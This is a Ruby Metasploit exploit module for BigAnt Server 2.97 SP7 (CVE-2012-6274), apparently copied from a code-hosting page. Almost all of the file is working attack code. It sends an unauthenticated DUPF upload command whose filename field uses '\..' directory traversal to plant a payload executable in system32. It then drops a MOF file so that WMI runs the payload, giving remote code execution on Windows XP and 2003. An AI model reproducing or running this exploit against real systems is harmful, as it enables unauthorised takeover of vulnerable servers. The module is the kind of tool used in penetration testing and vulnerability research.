128 lines
4.0 KiB
Ruby
128 lines
4.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::EXE
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include Msf::Exploit::WbemExec
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload',
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'Description' => %q{
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This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7.
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A lack of authentication allows to make unauthenticated file uploads through a DUPF
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command. Additionally the filename option in the same command can be used to launch
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a directory traversal attack and achieve arbitrary file upload.
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The module uses uses the Windows Management Instrumentation service to execute an
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arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It
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has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003
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SP2.
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},
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'Author' =>
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[
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'Hamburgers Maccoy', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2012-6274' ],
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[ 'US-CERT-VU', '990652' ],
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[ 'BID', '57214' ],
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[ 'OSVDB', '89342' ]
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],
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'Privileged' => true,
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BigAnt Server 2.97 SP7', { } ]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' =>
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{
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'WfsDelay' => 10
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},
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'DisclosureDate' => 'Jan 09 2013'))
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register_options(
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[
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Opt::RPORT(6661),
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OptInt.new('DEPTH', [true, "Levels to reach base directory", 6])
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], self.class)
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end
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def upload_file(filename, content)
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random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
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dupf = "DUPF 16\n"
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dupf << "cmdid: 1\n"
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dupf << "content-length: #{content.length}\n"
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dupf << "content-type: Appliction/Download\n"
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dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n"
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dupf << "modified: #{random_date}\n"
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dupf << "pclassid: 102\n"
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dupf << "pobjid: 1\n"
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dupf << "rootid: 1\n"
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dupf << "sendcheck: 1\n\n"
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dupf << content
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print_status("sending DUPF")
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connect
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sock.put(dupf)
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res = sock.get_once
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disconnect
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return res
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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# Setup the necessary files to do the wbemexec trick
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exe_name = rand_text_alpha(rand(10)+5) + '.exe'
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exe = generate_payload_exe
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mof_name = rand_text_alpha(rand(10)+5) + '.mof'
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mof = generate_mof(mof_name, exe_name)
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print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}")
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res = upload_file("WINDOWS\\system32\\#{exe_name}", exe)
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if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
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print_good("#{peer} - #{exe_name} uploaded successfully")
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else
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if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
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print_error("#{peer} - Upload failed, check the DEPTH option")
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end
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fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}")
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end
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print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}")
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res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
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if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/
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print_good("#{peer} - #{mof_name} uploaded successfully")
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register_file_for_cleanup(exe_name)
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register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
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else
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if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/
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print_error("#{peer} - Upload failed, check the DEPTH option")
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end
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fail_with(Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}")
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end
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end
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end
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